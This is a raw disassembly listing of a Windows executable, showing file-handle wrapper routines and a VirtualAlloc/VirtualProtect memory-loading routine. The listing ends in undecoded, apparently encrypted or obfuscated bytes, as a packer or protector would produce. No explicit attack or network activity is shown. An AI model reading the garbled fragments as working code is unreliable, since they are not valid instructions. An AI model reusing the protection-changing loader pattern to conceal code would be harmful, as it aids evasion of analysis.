sub_413FDF+10Dj mov [ebp+var_1C], 4 loc_4140F7: ; CODE XREF: sub_413FDF+FEj ; sub_413FDF+10Fj push 4 push 1000h push [ebp+arg_10] push 0 call ds:dword_424724 ; VirtualAlloc mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_414117 jmp loc_4141B6 ; --------------------------------------------------------------------------- loc_414117: ; CODE XREF: sub_413FDF+131j push 0 push 0 push [ebp+arg_C] push [ebp+arg_0] call sub_41441F and [ebp+var_34], 0 loc_41412A: ; CODE XREF: sub_413FDF+192j mov eax, [ebp+var_34] cmp eax, [ebp+arg_10] jnb short loc_414173 and [ebp+var_3C], 0 lea eax, [ebp+var_38] push eax push 0 lea eax, [ebp+var_3C] push eax mov eax, [ebp+arg_10] sub eax, [ebp+var_34] push eax mov eax, [ebp+var_20] add eax, [ebp+var_34] push eax push [ebp+arg_0] call sub_415175 test eax, eax jz short loc_414166 cmp [ebp+var_38], 0 jz short loc_414166 cmp [ebp+var_3C], 0 jnz short loc_414168 loc_414166: ; CODE XREF: sub_413FDF+179j ; sub_413FDF+17Fj jmp short loc_4141B6 ; --------------------------------------------------------------------------- loc_414168: ; CODE XREF: sub_413FDF+185j mov eax, [ebp+var_34] add eax, [ebp+var_3C] mov [ebp+var_34], eax jmp short loc_41412A ; --------------------------------------------------------------------------- loc_414173: ; CODE XREF: sub_413FDF+151j cmp [ebp+var_1C], 4 jz short loc_414192 lea eax, [ebp+var_40] push eax push [ebp+var_1C] push [ebp+arg_10] push [ebp+var_20] call ds:dword_42472C ; VirtualProtect test eax, eax jnz short loc_414192 jmp short loc_4141B6 ; --------------------------------------------------------------------------- loc_414192: ; CODE XREF: sub_413FDF+198j ; sub_413FDF+1AFj push [ebp+var_2C] push [ebp+var_20] mov ecx, ds:dword_424860 call sub_410000 mov eax, [ebp+arg_14] mov ecx, [ebp+var_20] mov [eax], ecx and [ebp+var_20], 0 mov [ebp+var_24], 1 loc_4141B6: ; CODE XREF: sub_413FDF+C2j ; sub_413FDF+EFj ... push 0FFFFFFFFh mov [ebp+var_58], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_58] jmp short loc_414203 ; --------------------------------------------------------------------------- loc_4141CF: ; DATA XREF: _4:00421348o mov eax, ds:dword_424864 mov [ebp+var_4C], eax cmp [ebp+var_4C], 0 jz short loc_4141EA mov eax, [ebp+var_4C] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection loc_4141EA: ; CODE XREF: sub_413FDF+1FCj cmp [ebp+var_20], 0 jz short locret_414200 push 8000h push 0 push [ebp+var_20] call ds:dword_424728 ; VirtualFree locret_414200: ; CODE XREF: sub_413FDF+20Fj retn ; --------------------------------------------------------------------------- loc_414201: ; CODE XREF: sub_413FDF+65j xor eax, eax loc_414203: ; CODE XREF: sub_413FDF+9Aj ; sub_413FDF+1EEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 18h sub_413FDF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414214 proc near ; CODE XREF: sub_41E77F+11p ; sub_41E7BB+11p var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00414331 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421350 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi mov eax, [ebp+arg_4] and dword ptr [eax], 0 mov eax, ds:dword_424864 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_414260 mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_2C], 1 jmp short loc_414264 ; --------------------------------------------------------------------------- loc_414260: ; CODE XREF: sub_414214+37j and [ebp+var_2C], 0 loc_414264: ; CODE XREF: sub_414214+4Aj movzx eax, [ebp+var_2C] test eax, eax jz loc_414331 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_424864 call sub_41EB4C mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_41430A push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+var_1C] mov eax, [eax] mov eax, [eax+0Ch] push dword ptr [eax+0Ch] call ds:dword_424628 ; CreateFileA mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jz short loc_4142F1 push 10h call sub_41BA4A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_20], eax mov esi, [ebp+var_1C] mov edi, [ebp+var_20] movsd movsd movsd movsd mov eax, [ebp+var_20] mov ecx, [ebp+arg_4] mov ecx, [ecx] mov [eax+8], ecx push [ebp+var_20] mov eax, [ebp+arg_4] push dword ptr [eax] mov ecx, ds:dword_424864 call sub_41EC69 loc_4142F1: ; CODE XREF: sub_414214+A2j push 0FFFFFFFFh mov [ebp+var_34], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_34] jmp short loc_414333 ; --------------------------------------------------------------------------- loc_41430A: ; CODE XREF: sub_414214+75j or [ebp+var_4], 0FFFFFFFFh call sub_414315 jmp short loc_414331 sub_414214 endp ; =============== S U B R O U T I N E ======================================= sub_414315 proc near ; CODE XREF: sub_414214+FAp ; DATA XREF: _4:00421358o mov eax, ds:dword_424864 mov [ebp-30h], eax cmp dword ptr [ebp-30h], 0 jz short locret_414330 mov eax, [ebp-30h] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_414330: ; CODE XREF: sub_414315+Cj retn sub_414315 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_414214 loc_414331: ; CODE XREF: sub_414214+56j ; sub_414214+FFj xor eax, eax loc_414333: ; CODE XREF: sub_414214+F4j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_414214 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414344 proc near ; CODE XREF: sub_410386+17p ; sub_413056+39p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 0 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41553D test eax, eax jz loc_414419 movzx eax, [ebp+var_C] test eax, eax jnz loc_414419 mov eax, [ebp+var_4] mov eax, [eax] mov [ebp+var_8], eax push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+var_4] mov eax, [eax+0Ch] push dword ptr [eax+0Ch] call ds:dword_424628 ; CreateFileA mov ecx, [ebp+arg_C] mov [ecx], eax mov eax, [ebp+arg_C] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_414414 push 0 push 0 mov eax, [ebp+var_8] push dword ptr [eax+4] mov eax, [ebp+arg_C] push dword ptr [eax] call ds:dword_424708 ; SetFilePointer push 10h call sub_41BA4A pop ecx mov [ebp+var_14], eax mov eax, [ebp+var_14] mov [ebp+var_10], eax mov eax, [ebp+var_10] mov ecx, [ebp+var_4] mov [eax], ecx mov eax, [ebp+var_10] mov ecx, [ebp+arg_C] mov ecx, [ecx] mov [eax+8], ecx mov eax, [ebp+var_10] and dword ptr [eax+4], 0 movzx eax, [ebp+arg_10] neg eax sbb eax, eax and eax, 0C0000000h add eax, 40000000h mov ecx, [ebp+var_10] mov [ecx+0Ch], eax push [ebp+var_10] mov eax, [ebp+arg_C] push dword ptr [eax] mov ecx, ds:dword_424864 call sub_410000 loc_414414: ; CODE XREF: sub_414344+63j push 1 pop eax jmp short locret_41441B ; --------------------------------------------------------------------------- loc_414419: ; CODE XREF: sub_414344+20j ; sub_414344+2Cj xor eax, eax locret_41441B: ; CODE XREF: sub_414344+D3j leave retn 14h sub_414344 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41441F proc near ; CODE XREF: sub_413FDF+142p ; sub_419529+104p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h ; FUNCTION CHUNK AT 0041465D SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421360 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 24h push ebx push esi push edi cmp [ebp+arg_C], 0 jnz short loc_414450 lea eax, [ebp+var_1C] mov [ebp+arg_C], eax loc_414450: ; CODE XREF: sub_41441F+29j mov eax, ds:dword_424864 mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_414471 mov eax, [ebp+var_2C] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_30], 1 jmp short loc_414475 ; --------------------------------------------------------------------------- loc_414471: ; CODE XREF: sub_41441F+3Dj and [ebp+var_30], 0 loc_414475: ; CODE XREF: sub_41441F+50j movzx eax, [ebp+var_30] test eax, eax jz loc_41465D and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_424864 call sub_41EB4C mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_414636 mov eax, [ebp+var_24] mov eax, [eax] mov eax, [eax] mov [ebp+var_20], eax mov eax, [ebp+var_24] mov eax, [eax+0Ch] and eax, 1 test eax, eax jz short loc_4144E9 push [ebp+arg_8] push 0 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_424708 ; SetFilePointer mov ecx, [ebp+arg_C] mov [ecx], eax push 0FFFFFFFFh mov [ebp+var_38], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_38] jmp loc_41465F ; --------------------------------------------------------------------------- loc_4144E9: ; CODE XREF: sub_41441F+96j mov eax, [ebp+var_24] mov eax, [eax+4] mov [ebp+var_28], eax cmp [ebp+arg_8], 0 jnz short loc_41454B mov eax, [ebp+var_20] mov ecx, [ebp+arg_4] cmp ecx, [eax+8] jle short loc_41451C mov eax, [ebp+var_24] mov ecx, [ebp+var_20] mov ecx, [ecx+8] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx jmp short loc_414546 ; --------------------------------------------------------------------------- loc_41451C: ; CODE XREF: sub_41441F+E2j cmp [ebp+arg_4], 0 jge short loc_414535 mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 83h call ds:dword_42470C ; RtlRestoreLastWin32Error jmp short loc_414546 ; --------------------------------------------------------------------------- loc_414535: ; CODE XREF: sub_41441F+101j mov eax, [ebp+var_24] mov ecx, [ebp+arg_4] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx loc_414546: ; CODE XREF: sub_41441F+FBj ; sub_41441F+114j jmp loc_41461D ; --------------------------------------------------------------------------- loc_41454B: ; CODE XREF: sub_41441F+D7j cmp [ebp+arg_8], 2 jnz short loc_4145AC cmp [ebp+arg_4], 0 jle short loc_414570 mov eax, [ebp+var_24] mov ecx, [ebp+var_20] mov ecx, [ecx+8] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx jmp short loc_4145AA ; --------------------------------------------------------------------------- loc_414570: ; CODE XREF: sub_41441F+136j mov eax, [ebp+var_20] mov eax, [eax+8] neg eax cmp [ebp+arg_4], eax jge short loc_414590 mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 83h call ds:dword_42470C ; RtlRestoreLastWin32Error jmp short loc_4145AA ; --------------------------------------------------------------------------- loc_414590: ; CODE XREF: sub_41441F+15Cj mov eax, [ebp+var_20] mov ecx, [ebp+arg_4] add ecx, [eax+8] mov eax, [ebp+var_24] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx loc_4145AA: ; CODE XREF: sub_41441F+14Fj ; sub_41441F+16Fj jmp short loc_41461D ; --------------------------------------------------------------------------- loc_4145AC: ; CODE XREF: sub_41441F+130j cmp [ebp+arg_8], 1 jnz short loc_41460F mov eax, [ebp+arg_4] add eax, [ebp+var_28] mov ecx, [ebp+var_20] cmp eax, [ecx+8] jle short loc_4145D9 mov eax, [ebp+var_24] mov ecx, [ebp+var_20] mov ecx, [ecx+8] mov [eax+4], ecx mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx jmp short loc_41460D ; --------------------------------------------------------------------------- loc_4145D9: ; CODE XREF: sub_41441F+19Fj mov eax, [ebp+var_28] add eax, [ebp+arg_4] test eax, eax jge short loc_4145F6 mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 83h call ds:dword_42470C ; RtlRestoreLastWin32Error jmp short loc_41460D ; --------------------------------------------------------------------------- loc_4145F6: ; CODE XREF: sub_41441F+1C2j mov eax, [ebp+arg_4] add eax, [ebp+var_28] mov ecx, [ebp+var_24] mov [ecx+4], eax mov eax, [ebp+arg_C] mov ecx, [ebp+var_24] mov ecx, [ecx+4] mov [eax], ecx loc_41460D: ; CODE XREF: sub_41441F+1B8j ; sub_41441F+1D5j jmp short loc_41461D ; --------------------------------------------------------------------------- loc_41460F: ; CODE XREF: sub_41441F+191j mov eax, [ebp+arg_C] or dword ptr [eax], 0FFFFFFFFh push 57h call ds:dword_42470C ; RtlRestoreLastWin32Error loc_41461D: ; CODE XREF: sub_41441F:loc_414546j ; sub_41441F:loc_4145AAj ... push 0FFFFFFFFh mov [ebp+var_3C], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_3C] jmp short loc_41465F ; --------------------------------------------------------------------------- loc_414636: ; CODE XREF: sub_41441F+7Bj or [ebp+var_4], 0FFFFFFFFh call sub_414641 jmp short loc_41465D sub_41441F endp ; =============== S U B R O U T I N E ======================================= sub_414641 proc near ; CODE XREF: sub_41441F+21Bp ; DATA XREF: _4:00421368o mov eax, ds:dword_424864 mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jz short locret_41465C mov eax, [ebp-34h] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_41465C: ; CODE XREF: sub_414641+Cj retn sub_414641 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41441F loc_41465D: ; CODE XREF: sub_41441F+5Cj ; sub_41441F+220j xor eax, eax loc_41465F: ; CODE XREF: sub_41441F+C5j ; sub_41441F+215j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 10h ; END OF FUNCTION CHUNK FOR sub_41441F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414670 proc near ; CODE XREF: sub_415B59+80p ; sub_418F16+58p ... var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041472C SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421370 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi mov eax, ds:dword_424864 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4146B6 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_4146BA ; --------------------------------------------------------------------------- loc_4146B6: ; CODE XREF: sub_414670+31j and [ebp+var_24], 0 loc_4146BA: ; CODE XREF: sub_414670+44j movzx eax, [ebp+var_24] test eax, eax jz short loc_41472C and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_424864 call sub_41EB4C mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_414705 mov eax, [ebp+var_1C] mov eax, [eax] mov eax, [eax] mov ecx, [ebp+arg_4] mov eax, [eax+8] mov [ecx], eax push 0FFFFFFFFh mov [ebp+var_2C], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_41472E ; --------------------------------------------------------------------------- loc_414705: ; CODE XREF: sub_414670+6Bj or [ebp+var_4], 0FFFFFFFFh call sub_414710 jmp short loc_41472C sub_414670 endp ; =============== S U B R O U T I N E ======================================= sub_414710 proc near ; CODE XREF: sub_414670+99p ; DATA XREF: _4:00421378o mov eax, ds:dword_424864 mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jz short locret_41472B mov eax, [ebp-28h] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_41472B: ; CODE XREF: sub_414710+Cj retn sub_414710 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_414670 loc_41472C: ; CODE XREF: sub_414670+50j ; sub_414670+9Ej xor eax, eax loc_41472E: ; CODE XREF: sub_414670+93j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_414670 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41473F proc near ; CODE XREF: sub_410386+58p ; sub_41314B+22p ... var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421380 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 20h push ebx push esi push edi cmp [ebp+arg_4], 0 jnz short loc_414770 lea eax, [ebp+var_1C] mov [ebp+arg_4], eax loc_414770: ; CODE XREF: sub_41473F+29j mov eax, ds:dword_424864 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_414791 mov eax, [ebp+var_28] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_2C], 1 jmp short loc_414795 ; --------------------------------------------------------------------------- loc_414791: ; CODE XREF: sub_41473F+3Dj and [ebp+var_2C], 0 loc_414795: ; CODE XREF: sub_41473F+50j movzx eax, [ebp+var_2C] test eax, eax jz loc_414843 and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_424864 call sub_41EB4C mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414807 mov eax, [ebp+var_20] push dword ptr [eax+8] call ds:dword_424624 ; CloseHandle push [ebp+arg_0] mov ecx, ds:dword_424864 call sub_41EBBB mov eax, [ebp+var_20] mov [ebp+var_24], eax push [ebp+var_24] call sub_41BACD pop ecx mov eax, [ebp+arg_4] mov dword ptr [eax], 1 push 0FFFFFFFFh mov [ebp+var_34], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_34] jmp short loc_414845 ; --------------------------------------------------------------------------- loc_414807: ; CODE XREF: sub_41473F+7Bj push [ebp+arg_4] push [ebp+arg_0] call sub_413838 push 0FFFFFFFFh mov [ebp+var_38], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_38] jmp short loc_414845 ; --------------------------------------------------------------------------- loc_414827: ; DATA XREF: _4:00421388o mov eax, ds:dword_424864 mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz short locret_414842 mov eax, [ebp+var_30] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_414842: ; CODE XREF: sub_41473F+F4j retn ; --------------------------------------------------------------------------- loc_414843: ; CODE XREF: sub_41473F+5Cj xor eax, eax loc_414845: ; CODE XREF: sub_41473F+C6j ; sub_41473F+E6j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 sub_41473F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414856 proc near ; CODE XREF: sub_41DD46+12p var_30 = dword ptr -30h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0041493B SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421390 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 18h push ebx push esi push edi cmp [ebp+arg_8], 0 jnz short loc_414887 lea eax, [ebp+var_1C] mov [ebp+arg_8], eax loc_414887: ; CODE XREF: sub_414856+29j mov eax, ds:dword_424864 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_4148A8 mov eax, [ebp+var_24] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_28], 1 jmp short loc_4148AC ; --------------------------------------------------------------------------- loc_4148A8: ; CODE XREF: sub_414856+3Dj and [ebp+var_28], 0 loc_4148AC: ; CODE XREF: sub_414856+50j movzx eax, [ebp+var_28] test eax, eax jz loc_41493B and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_424864 call sub_41EB4C mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414914 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42467C ; GetFileInformationByHandle mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_4] and dword ptr [eax+20h], 0 mov eax, [ebp+var_20] mov eax, [eax] mov eax, [eax] mov ecx, [ebp+arg_4] mov eax, [eax+8] mov [ecx+24h], eax push 0FFFFFFFFh mov [ebp+var_30], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_30] jmp short loc_41493D ; --------------------------------------------------------------------------- loc_414914: ; CODE XREF: sub_414856+7Bj or [ebp+var_4], 0FFFFFFFFh call sub_41491F jmp short loc_41493B sub_414856 endp ; =============== S U B R O U T I N E ======================================= sub_41491F proc near ; CODE XREF: sub_414856+C2p ; DATA XREF: _4:00421398o mov eax, ds:dword_424864 mov [ebp-2Ch], eax cmp dword ptr [ebp-2Ch], 0 jz short locret_41493A mov eax, [ebp-2Ch] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_41493A: ; CODE XREF: sub_41491F+Cj retn sub_41491F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_414856 loc_41493B: ; CODE XREF: sub_414856+5Cj ; sub_414856+C7j xor eax, eax loc_41493D: ; CODE XREF: sub_414856+BCj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 0Ch ; END OF FUNCTION CHUNK FOR sub_414856 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41494E proc near ; CODE XREF: sub_41DD77+Bp ; sub_41DDB3+Bp var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004149FB SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4213A0 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi mov eax, ds:dword_424864 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414994 mov eax, [ebp+var_20] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_24], 1 jmp short loc_414998 ; --------------------------------------------------------------------------- loc_414994: ; CODE XREF: sub_41494E+31j and [ebp+var_24], 0 loc_414998: ; CODE XREF: sub_41494E+44j movzx eax, [ebp+var_24] test eax, eax jz short loc_4149FB and [ebp+var_4], 0 push [ebp+arg_0] mov ecx, ds:dword_424864 call sub_41EB4C mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4149D4 push 0FFFFFFFFh mov [ebp+var_2C], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_2C] jmp short loc_4149FD ; --------------------------------------------------------------------------- loc_4149D4: ; CODE XREF: sub_41494E+6Bj or [ebp+var_4], 0FFFFFFFFh call sub_4149DF jmp short loc_4149FB sub_41494E endp ; =============== S U B R O U T I N E ======================================= sub_4149DF proc near ; CODE XREF: sub_41494E+8Ap ; DATA XREF: _4:004213A8o mov eax, ds:dword_424864 mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jz short locret_4149FA mov eax, [ebp-28h] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection locret_4149FA: ; CODE XREF: sub_4149DF+Cj retn sub_4149DF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41494E loc_4149FB: ; CODE XREF: sub_41494E+50j ; sub_41494E+8Fj xor eax, eax loc_4149FD: ; CODE XREF: sub_41494E+84j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_41494E ; --------------------------------------------------------------------------- loc_414A0E: ; CODE XREF: sub_414C5A+2F1p ; sub_415175+1CFp push ebp mov ebp, esp sub esp, 0ECh push ebx push esi push edi mov eax, [ebp+0Ch] mov [ebp-0Ch], eax mov eax, [ebp+10h] mov [ebp-10h], eax mov eax, ds:dword_424878 mov [ebp-4], eax mov eax, [ebp+8] mov eax, [eax] mov eax, [eax] mov [ebp-8], eax mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 30h cmp eax, 30h jnz loc_414AD6 mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 2 test eax, eax jnz short loc_414AD6 mov eax, [ebp-8] mov ecx, [ebp+0Ch] sub ecx, [eax+4] mov [ebp-14h], ecx mov eax, [ebp-14h] xor edx, edx push 8 pop ecx div ecx mov [ebp-18h], edx cmp dword ptr [ebp-18h], 0 jz short loc_414A91 mov eax, [ebp+0Ch] sub eax, [ebp-18h] mov [ebp-0Ch], eax mov eax, [ebp-10h] add eax, [ebp-18h] mov [ebp-10h], eax mov eax, [ebp-4] add eax, [ebp-18h] mov [ebp-4], eax loc_414A91: ; CODE XREF: _3:00414A74j mov eax, [ebp-10h] xor edx, edx push 8 pop ecx div ecx test edx, edx jz short loc_414AB6 mov eax, [ebp-10h] xor edx, edx push 8 pop ecx div ecx push 8 pop eax sub eax, edx mov ecx, [ebp-10h] add ecx, eax mov [ebp-10h], ecx loc_414AB6: ; CODE XREF: _3:00414A9Dj mov eax, [ebp+8] mov ecx, [ebp-10h] add ecx, [eax+4] mov eax, [ebp-8] cmp ecx, [eax+8] jbe short loc_414AD6 mov eax, [ebp-8] mov ecx, [ebp+8] mov eax, [eax+8] sub eax, [ecx+4] mov [ebp-10h], eax loc_414AD6: ; CODE XREF: _3:00414A44j _3:00414A55j ... push 0 push 0 push dword ptr [ebp-0Ch] mov eax, [ebp+8] push dword ptr [eax+8] call ds:dword_424708 ; SetFilePointer cmp eax, [ebp-0Ch] jz short loc_414AF5 xor eax, eax jmp loc_414C53 ; --------------------------------------------------------------------------- loc_414AF5: ; CODE XREF: _3:00414AECj push 0 push dword ptr [ebp+14h] push dword ptr [ebp-10h] push ds:dword_424878 mov eax, [ebp+8] push dword ptr [eax+8] call ds:dword_4246FC ; ReadFile test eax, eax jnz short loc_414B1A xor eax, eax jmp loc_414C53 ; --------------------------------------------------------------------------- loc_414B1A: ; CODE XREF: _3:00414B11j mov eax, [ebp+14h] mov eax, [eax] cmp eax, [ebp-10h] jz short loc_414B2B xor eax, eax jmp loc_414C53 ; --------------------------------------------------------------------------- loc_414B2B: ; CODE XREF: _3:00414B22j mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 1 test eax, eax jz loc_414C3A mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 30h cmp eax, 10h jnz short loc_414BA7 push 460000h call sub_411B9E xor esp, [eax] ; --------------------------------------------------------------------------- dw 0A8Eh dd 10842452h, 32C17D88h, 23D24BD4h, 0DF04C097h, 0DA843F43h dd 3911A550h, 97346F07h, 6A1F183Bh, 1475C174h, 0B2C08AABh dd 8DF9AEE4h, 7865581Eh db 47h, 57h, 2Ch ; --------------------------------------------------------------------------- loc_414B8B: ; CODE XREF: _3:00414BD4j mov dh, bl mov [esi+70h], edi mov edx, 18E3D6C9h stc ; --------------------------------------------------------------------------- db 0DAh dd 9090DBE8h, 0C085C033h, 93E9EE75h db 3 dup(0) ; --------------------------------------------------------------------------- loc_414BA7: ; CODE XREF: _3:00414B48j mov eax, [ebp-8] mov eax, [eax+0Ch] and eax, 30h cmp eax, 30h jnz short loc_414C30 push 120000h call sub_411B9E or byte ptr [edi-6C3C06E1h], 15h adc dword ptr [edx], 0FFFFFF95h 